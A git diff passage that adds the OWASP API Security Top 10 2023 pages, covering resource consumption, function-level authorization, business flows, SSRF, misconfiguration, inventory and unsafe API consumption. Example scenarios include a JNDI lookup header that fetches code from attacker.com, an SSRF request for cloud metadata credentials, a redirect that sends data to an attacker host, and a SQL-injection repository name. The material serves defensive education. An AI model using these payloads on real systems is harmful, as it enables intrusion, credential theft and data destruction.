business/functional requirements for the endpoint. + +## References + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### External + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/en/0xa4-unrestricted-resource-consumption.md b/editions/2023/en/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..cf2862b03 --- /dev/null +++ b/editions/2023/en/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,173 @@ +# API4:2023 Unrestricted Resource Consumption + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Average** | Prevalence **Widespread** : Detectability **Easy** | Technical **Severe** : Business Specific | +| Exploitation requires simple API requests. Multiple concurrent requests can be performed from a single local computer or by using cloud computing resources. Most of the automated tools available are designed to cause DoS via high loads of traffic, impacting APIs’ service rate. | It's common to find APIs that do not limit client interactions or resource consumption. Crafted API requests, such as those including parameters that control the number of resources to be returned and performing response status/time/length analysis should allow identification of the issue. The same is valid for batched operations. Although threat agents don't have visibility over costs impact, this can be inferred based on service providers’ (e.g. cloud provider) business/pricing model. | Exploitation can lead to DoS due to resource starvation, but it can also lead to operational costs increase such as those related to the infrastructure due to higher CPU demand, increasing cloud storage needs, etc. | + +## Is the API Vulnerable? + +Satisfying API requests requires resources such as network bandwidth, CPU, +memory, and storage. Sometimes required resources are made available by service +providers via API integrations, and paid for per request, such as sending +emails/SMS/phone calls, biometrics validation, etc. + +An API is vulnerable if at least one of the following limits is missing or set +inappropriately (e.g. too low/high): + +* Execution timeouts +* Maximum allocable memory +* Maximum number of file descriptors +* Maximum number of processes +* Maximum upload file size +* Number of operations to perform in a single API client request (e.g. GraphQL + batching) +* Number of records per page to return in a single request-response +* Third-party service providers' spending limit + +## Example Attack Scenarios + +### Scenario #1 + +A social network implemented a “forgot password” flow using SMS verification, +enabling the user to receive a one time token via SMS in order to reset their +password. + +Once a user clicks on "forgot password" an API call is sent from the user's +browser to the back-end API: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Then, behind the scenes, an API call is sent from the back-end to a 3rd party +API that takes care of the SMS delivering: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +The 3rd party provider, Willyo, charges $0.05 per this type of call. + +An attacker writes a script that sends the first API call tens of thousands of +times. The back-end follows and requests Willyo to send tens of thousands of +text messages, leading the company to lose thousands of dollars in a matter of +minutes. + +### Scenario #2 + +A GraphQL API Endpoint allows the user to upload a profile picture. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Once the upload is complete, the API generates multiple thumbnails with +different sizes based on the uploaded picture. This graphical operation takes a +lot of memory from the server. + +The API implements a traditional rate limiting protection - a user can't access +the GraphQL endpoint too many times in a short period of time. The API also +checks for the uploaded picture's size before generating thumbnails to avoid +processing pictures that are too large. + +An attacker can easily bypass those mechanisms, by leveraging the flexible +nature of GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Because the API does not limit the number of times the `uploadPic` operation can +be attempted, the call will lead to exhaustion of server memory and Denial of +Service. + +### Scenario #3 + +A service provider allows clients to download arbitrarily large files using its +API. These files are stored in cloud object storage and they don't change that +often. The service provider relies on a cache service to have a better service +rate and to keep bandwidth consumption low. The cache service only caches files +up to 15GB. + +When one of the files gets updated, its size increases to 18GB. All service +clients immediately start pulling the new version. Because there were no +consumption cost alerts, nor a maximum cost allowance for the cloud service, +the next monthly bill increases from US$13, on average, to US$8k. + +## How To Prevent + +* Use a solution that makes it easy to limit [memory][1], + [CPU][2], [number of restarts][3], [file descriptors, and processes][4] such + as Containers / Serverless code (e.g. Lambdas). +* Define and enforce a maximum size of data on all incoming parameters and + payloads, such as maximum length for strings, maximum number of elements in + arrays, and maximum upload file size (regardless of whether it is stored + locally or in cloud storage). +* Implement a limit on how often a client can interact with the API within a + defined timeframe (rate limiting). +* Rate limiting should be fine tuned based on the business needs. Some API + Endpoints might require stricter policies. +* Limit/throttle how many times or how often a single API client/user can + execute a single operation (e.g. validate an OTP, or request password + recovery without visiting the one-time URL). +* Add proper server-side validation for query string and request body + parameters, specifically the one that controls the number of records to be + returned in the response. +* Configure spending limits for all service providers/API integrations. When + setting spending limits is not possible, billing alerts should be configured + instead. + +## References + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### External + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/en/0xa5-broken-function-level-authorization.md b/editions/2023/en/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..0bb3f432d --- /dev/null +++ b/editions/2023/en/0xa5-broken-function-level-authorization.md @@ -0,0 +1,100 @@ +# API5:2023 Broken Function Level Authorization + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Severe** : Business Specific | +| Exploitation requires the attacker to send legitimate API calls to an API endpoint that they should not have access to as anonymous users or regular, non-privileged users. Exposed endpoints will be easily exploited. | Authorization checks for a function or resource are usually managed via configuration or code level. Implementing proper checks can be a confusing task since modern applications can contain many types of roles, groups, and complex user hierarchies (e.g. sub-users, or users with more than one role). It's easier to discover these flaws in APIs since APIs are more structured, and accessing different functions is more predictable. | Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack and may lead to data disclosure, data loss, or data corruption. Ultimately, it may lead to service disruption. | + +## Is the API Vulnerable? + +The best way to find broken function level authorization issues is to perform +a deep analysis of the authorization mechanism while keeping in mind the user +hierarchy, different roles or groups in the application, and asking the +following questions: + +* Can a regular user access administrative endpoints? +* Can a user perform sensitive actions (e.g. creation, modification, or + deletion ) that they should not have access to by simply changing the HTTP + method (e.g. from `GET` to `DELETE`)? +* Can a user from group X access a function that should be exposed only to + users from group Y, by simply guessing the endpoint URL and parameters + (e.g. `/api/v1/users/export_all`)? + +Don't assume that an API endpoint is regular or administrative only based on +the URL path. + +While developers might choose to expose most of the administrative endpoints +under a specific relative path, like `/api/admins`, it's very common to find +these administrative endpoints under other relative paths together with regular +endpoints, like `/api/users`. + +## Example Attack Scenarios + +### Scenario #1 + +During the registration process for an application that allows only invited +users to join, the mobile application triggers an API call to +`GET /api/invites/{invite_guid}`. The response contains a JSON with details +about the invite, including the user's role and the user's email. + +An attacker duplicates the request and manipulates the HTTP method and endpoint +to `POST /api/invites/new`. This endpoint should only be accessed by +administrators using the admin console. The endpoint does not implement +function level authorization checks. + +The attacker exploits the issue and sends a new invite with admin privileges: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Later on, the attacker uses the maliciously crafted invite in order to create +themselves an admin account and gain full access to the system. + +### Scenario #2 + +An API contains an endpoint that should be exposed only to administrators - +`GET /api/admin/v1/users/all`. This endpoint returns the details of all the +users of the application and does not implement function level authorization +checks. An attacker who learned the API structure takes an educated guess and +manages to access this endpoint, which exposes sensitive details of the users +of the application. + +## How To Prevent + +Your application should have a consistent and easy-to-analyze authorization +module that is invoked from all your business functions. Frequently, such +protection is provided by one or more components external to the application +code. + +* The enforcement mechanism(s) should deny all access by default, requiring + explicit grants to specific roles for access to every function. +* Review your API endpoints against function level authorization flaws, while + keeping in mind the business logic of the application and groups hierarchy. +* Make sure that all of your administrative controllers inherit from an + administrative abstract controller that implements authorization checks + based on the user's group/role. +* Make sure that administrative functions inside a regular controller implement + authorization checks based on the user's group and role. + +## References + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### External + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..b46bdc576 --- /dev/null +++ b/editions/2023/en/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,108 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Average** | Technical **Moderate** : Business Specific | +| Exploitation usually involves understanding the business model backed by the API, finding sensitive business flows, and automating access to these flows, causing harm to the business. | Lack of a holistic view of the API in order to fully support business requirements tends to contribute to the prevalence of this issue. Attackers manually identify what resources (e.g. endpoints) are involved in the target workflow and how they work together. If mitigation mechanisms are already in place, attackers need to find a way to bypass them. | In general technical impact is not expected. Exploitation might hurt the business in different ways, for example: prevent legitimate users from purchasing a product, or lead to inflation in the internal economy of a game. | + +## Is the API Vulnerable? + +When creating an API Endpoint, it is important to understand which business flow +it exposes. Some business flows are more sensitive than others, in the sense +that excessive access to them may harm the business. + +Common examples of sensitive business flows and risk of excessive access +associated with them: + +* Purchasing a product flow - an attacker can buy all the stock of a high-demand + item at once and resell for a higher price (scalping) +* Creating a comment/post flow - an attacker can spam the system +* Making a reservation - an attacker can reserve all the available time slots + and prevent other users from using the system + +The risk of excessive access might change between industries and businesses. +For example - creation of posts by a script might be considered as a risk of +spam by one social network, but encouraged by another social network. + +An API Endpoint is vulnerable if it exposes a sensitive business flow, without +appropriately restricting the access to it. + +## Example Attack Scenarios + +### Scenario #1 + +A technology company announces they are going to release a new gaming console on +Thanksgiving. The product has a very high demand and the stock is limited. An +attacker writes code to automatically buy the new product and complete the +transaction. + +On the release day, the attacker runs the code distributed across different IP +addresses and locations. The API doesn't implement the appropriate protection +and allows the attacker to buy the majority of the stock before other legitimate +users. + +Later on, the attacker sells the product on another platform for a much higher +price. + +### Scenario #2 + +An airline company offers online ticket purchasing with no cancellation fee. A +user with malicious intentions books 90% of the seats of a desired flight. + +A few days before the flight the malicious user canceled all the tickets at +once, which forced the airline to discount the ticket prices in order to fill +the flight. + +At this point, the user buys herself a single ticket that is much cheaper than +the original one. + +### Scenario #3 + +A ride-sharing app provides a referral program - users can invite their friends +and gain credit for each friend who has joined the app. This credit can be later +used as cash to book rides. + +An attacker exploits this flow by writing a script to automate the registration +process, with each new user adding credit to the attacker's wallet. + +The attacker can later enjoy free rides or sell the accounts with excessive +credits for cash. + +## How To Prevent + +The mitigation planning should be done in two layers: + +* Business - identify the business flows that might harm the business if they + are excessively used. +* Engineering - choose the right protection mechanisms to mitigate the business + risk. + + Some of the protection mechanisms are more simple while others are more + difficult to implement. The following methods are used to slow down + automated + threats: + + * Device fingerprinting: denying service to unexpected client devices (e.g + headless browsers) tends to make threat actors use more sophisticated + solutions, thus more costly for them + * Human detection: using either captcha or more advanced biometric solutions + (e.g. typing patterns) + * Non-human patterns: analyze the user flow to detect non-human patterns + (e.g. the user accessed the "add to cart" and "complete purchase" + functions in less than one second) + * Consider blocking IP addresses of Tor exit nodes and well-known proxies + + Secure and limit access to APIs that are consumed directly by machines (such + as developer and B2B APIs). They tend to be an easy target for attackers + because they often don't implement all the required protection mechanisms. + +## References + +### OWASP + +* [OWASP Automated Threats to Web Applications][1] +* [API10:2019 Insufficient Logging & Monitoring][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xaa-insufficient-logging-monitoring/ + diff --git a/editions/2023/en/0xa7-server-side-request-forgery.md b/editions/2023/en/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..a0482f75a --- /dev/null +++ b/editions/2023/en/0xa7-server-side-request-forgery.md @@ -0,0 +1,161 @@ +# API7:2023 Server Side Request Forgery + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Easy** | Technical **Moderate** : Business Specific | +| Exploitation requires the attacker to find an API endpoint that accesses a URI that’s provided by the client. In general, basic SSRF (when the response is returned to the attacker), is easier to exploit than Blind SSRF in which the attacker has no feedback on whether or not the attack was successful. | Modern concepts in application development encourage developers to access URIs provided by the client. Lack of or improper validation of such URIs are common issues. Regular API requests and response analysis will be required to detect the issue. When the response is not returned (Blind SSRF) detecting the vulnerability requires more effort and creativity. | Successful exploitation might lead to internal services enumeration (e.g. port scanning), information disclosure, bypassing firewalls, or other security mechanisms. In some cases, it can lead to DoS or the server being used as a proxy to hide malicious activities. | + +## Is the API Vulnerable? + +Server-Side Request Forgery (SSRF) flaws occur when an API is fetching a remote +resource without validating the user-supplied URL. It enables an attacker to +coerce the application to send a crafted request to an unexpected destination, +even when protected by a firewall or a VPN. + +Modern concepts in application development make SSRF more common and more +dangerous. + +More common - the following concepts encourage developers to access an external +resource based on user input: Webhooks, file fetching from URLs, custom SSO, +and URL previews. + +More dangerous - Modern technologies like cloud providers, Kubernetes, and +Docker expose management and control channels over HTTP on predictable, +well-known paths. Those channels are an easy target for an SSRF attack. + +It is also more challenging to limit outbound traffic from your application, +because of the connected nature of modern applications. + +The SSRF risk can not always be completely eliminated. While choosing a +protection mechanism, it is important to consider the business risks and needs. + +## Example Attack Scenarios + +### Scenario #1 + +A social network allows users to upload profile pictures. The user can choose +either to upload the image file from their machine, or provide the URL of the +image. Choosing the second, will trigger the following API call: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +An attacker can send a malicious URL and initiate port scanning within the +internal network using the API Endpoint. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Based on the response time, the attacker can figure out whether the port is +open or not. + +### Scenario #2 + +A security product generates events when it detects anomalies in the network. +Some teams prefer to review the events in a broader, more generic monitoring +system, such as a SIEM (Security Information and Event Management). For this +purpose, the product provides integration with other systems using webhooks. + +As part of a creation of a new webhook, a GraphQL mutation is sent with the URL +of the SIEM API. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +During the creation process, the API back-end sends a test request to the +provided webhook URL, and presents to the user the response. + +An attacker can leverage this flow, and make the API request a sensitive +resource, such as an internal cloud metadata service that exposes credentials: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Since the application shows the response from the test request, the attacker +can view the credentials of the cloud environment. + +## How To Prevent + +* Isolate the resource fetching mechanism in your network: usually these + features are aimed to retrieve remote resources and not internal ones. +* Whenever possible, use allow lists of: + * Remote origins users are expected to download resources from (e.g. Google + Drive, Gravatar, etc.) + * URL schemes and ports + * Accepted media types for a given functionality +* Disable HTTP redirections. +* Use a well-tested and maintained URL parser to avoid issues caused by URL + parsing inconsistencies. +* Validate and sanitize all client-supplied input data. +* Do not send raw responses to clients. + +## References + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### External + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/en/0xa8-security-misconfiguration.md b/editions/2023/en/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..a75e3a7c1 --- /dev/null +++ b/editions/2023/en/0xa8-security-misconfiguration.md @@ -0,0 +1,130 @@ +# API8:2023 Security Misconfiguration + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Easy** | Technical **Severe** : Business Specific | +| Attackers will often attempt to find unpatched flaws, common endpoints, services running with insecure default configurations, or unprotected files and directories to gain unauthorized access or knowledge of the system. Most of this is public knowledge and exploits may be available. | Security misconfiguration can happen at any level of the API stack, from the network level to the application level. Automated tools are available to detect and exploit misconfigurations such as unnecessary services or legacy options. | Security misconfigurations not only expose sensitive user data, but also system details that can lead to full server compromise. | + +## Is the API Vulnerable? + +The API might be vulnerable if: + +* Appropriate security hardening is missing across any part of the API stack, + or if there are improperly configured permissions on cloud services +* The latest security patches are missing, or the systems are out of date +* Unnecessary features are enabled (e.g. HTTP verbs, logging features) +* There are discrepancies in the way incoming requests are processed by servers + in the HTTP server chain +* Transport Layer Security (TLS) is missing +* Security or cache control directives are not sent to clients +* A Cross-Origin Resource Sharing (CORS) policy is missing or improperly set +* Error messages include stack traces, or expose other sensitive information + +## Example Attack Scenarios + +### Scenario #1 + +An API back-end server maintains an access log written by a popular third-party +open-source logging utility with support for placeholder expansion and JNDI +(Java Naming and Directory Interface) lookups, both enabled by default. For +each request, a new entry is written to the log file with the following +pattern: ` / - `. + +A bad actor issues the following API request, which gets written to the access +log file: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Due to the insecure default configuration of the logging utility and a +permissive network outbound policy, in order to write the corresponding entry +to the access log, while expanding the value in the `X-Api-Version` request +header, the logging utility will pull and execute the `Malicious.class` object +from the attacker's remote controlled server. + +### Scenario #2 + +A social network website offers a "Direct Message" feature that allows users to +keep private conversations. To retrieve new messages for a specific +conversation, the website issues the following API request (user interaction is +not required): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Because the API response does not include the `Cache-Control` HTTP response +header, private conversations end-up cached by the web browser, allowing +malicious actors to retrieve them from the browser cache files in the +filesystem. + +## How To Prevent + +The API life cycle should include: + +* A repeatable hardening process leading to fast and easy deployment of a + properly locked down environment +* A task to review and update configurations across the entire API stack. The + review should include: orchestration files, API components, and cloud + services (e.g. S3 bucket permissions) +* An automated process to continuously assess the effectiveness of the + configuration and settings in all environments + +Furthermore: + +* Ensure that all API communications from the client to the API server and any + downstream/upstream components happen over an encrypted communication channel + (TLS), regardless of whether it is an internal or public-facing API. +* Be specific about which HTTP verbs each API can be accessed by: all other + HTTP verbs should be disabled (e.g. HEAD). +* APIs expecting to be accessed from browser-based clients (e.g., WebApp + front-end) should, at least: + * implement a proper Cross-Origin Resource Sharing (CORS) policy + * include applicable Security Headers +* Restrict incoming content types/data formats to those that meet the business/ + functional requirements. +* Ensure all servers in the HTTP server chain (e.g. load balancers, reverse + and forward proxies, and back-end servers) process incoming requests in a + uniform manner to avoid desync issues. +* Where applicable, define and enforce all API response payload schemas, + including error responses, to prevent exception traces and other valuable + information from being sent back to attackers. + +## References + +### OWASP + +* [OWASP Secure Headers Project][1] +* [Configuration and Deployment Management Testing - Web Security Testing + Guide][2] +* [Testing for Error Handling - Web Security Testing Guide][3] +* [Testing for Cross Site Request Forgery - Web Security Testing Guide][4] + +### External + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [Guide to General Server Security][12], NIST +* [Let's Encrypt: a free, automated, and open Certificate Authority][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/en/0xa9-improper-inventory-management.md b/editions/2023/en/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..95d02f21d --- /dev/null +++ b/editions/2023/en/0xa9-improper-inventory-management.md @@ -0,0 +1,104 @@ +# API9:2023 Improper Inventory Management + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Widespread** : Detectability **Average** | Technical **Moderate** : Business Specific | +| Threat agents usually get unauthorized access through old API versions or endpoints left running unpatched and using weaker security requirements. In some cases exploits are available. Alternatively, they may get access to sensitive data through a 3rd party with whom there's no reason to share data with. | Outdated documentation makes it more difficult to find and/or fix vulnerabilities. Lack of assets inventory and retirement strategies leads to running unpatched systems, resulting in leakage of sensitive data. It's common to find unnecessarily exposed API hosts because of modern concepts like microservices, which make applications easy to deploy and independent (e.g. cloud computing, K8S). Simple Google Dorking, DNS enumeration, or using specialized search engines for various types of servers (webcams, routers, servers, etc.) connected to the internet will be enough to discover targets. | Attackers can gain access to sensitive data, or even take over the server. Sometimes different API versions/deployments are connected to the same database with real data. Threat agents may exploit deprecated endpoints available in old API versions to get access to administrative functions or exploit known vulnerabilities. | + +## Is the API Vulnerable? + +The sprawled and connected nature of APIs and modern applications brings new +challenges. It is important for organizations not only to have a good +understanding and visibility of their own APIs and API endpoints, but also how +the APIs are storing or sharing data with external third parties. + +Running multiple versions of an API requires additional management resources +from the API provider and expands the attack surface. + +An API has a "documentation blindspot" if: + +* The purpose of an API host is unclear, and there are no explicit answers to + the following questions + * Which environment is the API running in (e.g. production, staging, test, + development)? + * Who should have network access to the API (e.g. public, internal, + partners)? + * Which API version is running? +* There is no documentation or the existing documentation is not updated. +* There is no retirement plan for each API version. +* The host's inventory is missing or outdated. + +The visibility and inventory of sensitive data flows play an important role as +part of an incident response plan, in case a breach happens on the third party +side. + +An API has a "data flow blindspot" if: + +* There is a "sensitive data flow" where the API shares sensitive data with a + third party and + * There is not a business justification or approval of the flow + * There is no inventory or visibility of the flow + * There is not deep visibility of which type of sensitive data is shared + +## Example Attack Scenarios + +### Scenario #1 + +A social network implemented a rate-limiting mechanism that blocks attackers +from using brute force to guess reset password tokens. This mechanism wasn't +implemented as part of the API code itself but in a separate component between +the client and the official API (`api.socialnetwork.owasp.org`). A researcher +found a beta API host (`beta.api.socialnetwork.owasp.org`) that runs the same +API, including the reset password mechanism, but the rate-limiting mechanism was +not in place. The researcher was able to reset the password of any user by using +simple brute force to guess the 6 digit token. + +### Scenario #2 + +A social network allows developers of independent apps to integrate with it. As +part of this process a consent is requested from the end user, so the social +network can share the user's personal information with the independent app. + +The data flow between the social network and the independent apps is not +restrictive or monitored enough, allowing independent apps to access not only +the user information but also the private information of all of their friends. + +A consulting firm builds a malicious app and manages to get the consent of +270,000 users. Because of the flaw, the consulting firm manages to get access +to the private information of 50,000,000 users. Later, the consulting firm +sells the information for malicious purposes. + +## How To Prevent + +* Inventory all API hosts and document important aspects of each one + of them, focusing on the API environment (e.g. production, staging, test, + development), who should have network access to the host (e.g. public, + internal, partners) and the API version. +* Inventory integrated services and document important aspects such + as their role in the system, what data is exchanged (data flow), and their + sensitivity. +* Document all aspects of your API such as authentication, errors, redirects, + rate limiting, cross-origin resource sharing (CORS) policy, and endpoints, + including their parameters, requests, and responses. +* Generate documentation automatically by adopting open standards. Include the + documentation build in your CI/CD pipeline. +* Make API documentation available only to those authorized to use the API. +* Use external protection measures such as API security specific solutions for + all exposed versions of your APIs, not just for the current production + version. +* Avoid using production data with non-production API deployments. If this is + unavoidable, these endpoints should get the same security treatment as the + production ones. +* When newer versions of APIs include security improvements, perform a risk + analysis to inform the mitigation actions required for the older versions. + For example, whether it is possible to backport the improvements without + breaking API compatibility or if you need to take the older version out + quickly and force all clients to move to the latest version. + +## References + +### External + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/en/0xaa-unsafe-consumption-of-apis.md b/editions/2023/en/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..016b1ddba --- /dev/null +++ b/editions/2023/en/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,108 @@ +# API10:2023 Unsafe Consumption of APIs + +| Threat agents/Attack vectors | Security Weakness | Impacts | +| - | - | - | +| API Specific : Exploitability **Easy** | Prevalence **Common** : Detectability **Average** | Technical **Severe** : Business Specific | +| Exploiting this issue requires attackers to identify and potentially compromise other APIs/services the target API integrated with. Usually, this information is not publicly available or the integrated API/service is not easily exploitable. | Developers tend to trust and not verify the endpoints that interact with external or third-party APIs, relying on weaker security requirements such as those regarding transport security, authentication/authorization, and input validation and sanitization. Attackers need to identify services the target API integrates with (data sources) and, eventually, compromise them. | The impact varies according to what the target API does with pulled data. Successful exploitation may lead to sensitive information exposure to unauthorized actors, many kinds of injections, or denial of service. | + +## Is the API Vulnerable? + +Developers tend to trust data received from third-party APIs more than user +input. This is especially true for APIs offered by well-known companies. +Because of that, developers tend to adopt weaker security standards, for +instance, in regards to input validation and sanitization. + +The API might be vulnerable if: + +* Interacts with other APIs over an unencrypted channel; +* Does not properly validate and sanitize data gathered from other APIs prior + to processing it or passing it to downstream components; +* Blindly follows redirections; +* Does not limit the number of resources available to process third-party + services responses; +* Does not implement timeouts for interactions with third-party services; + +## Example Attack Scenarios + +### Scenario #1 + +An API relies on a third-party service to enrich user provided business +addresses. When an address is supplied to the API by the end user, it is sent +to the third-party service and the returned data is then stored on a local +SQL-enabled database. + +Bad actors use the third-party service to store an SQLi payload associated with +a business created by them. Then they go after the vulnerable API providing +specific input that makes it pull their "malicious business" from the +third-party service. The SQLi payload ends up being executed by the database, +exfiltrating data to an attacker's controlled server. + +### Scenario #2 + +An API integrates with a third-party service provider to safely store sensitive +user medical information. Data is sent over a secure connection using an HTTP +request like the one below: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Bad actors found a way to compromise the third-party API and it starts +responding with a `308 Permanent Redirect` to requests like the previous one. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Since the API blindly follows the third-party redirects, it will repeat the +exact same request including the user's sensitive data, but this time to the +attacker's server. + +### Scenario #3 + +An attacker can prepare a git repository named `'; drop db;--`. + +Now, when an integration from an attacked application is done with the +malicious repository, SQL injection payload is used on an application that +builds an SQL query believing the repository's name is safe input. + +## How To Prevent + +* When evaluating service providers, assess their API security posture. +* Ensure all API interactions happen over a secure communication channel (TLS). +* Always validate and properly sanitize data received from integrated APIs + before using it. +* Maintain an allowlist of well-known locations integrated APIs may redirect + yours to: do not blindly follow redirects. + + +## References + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards 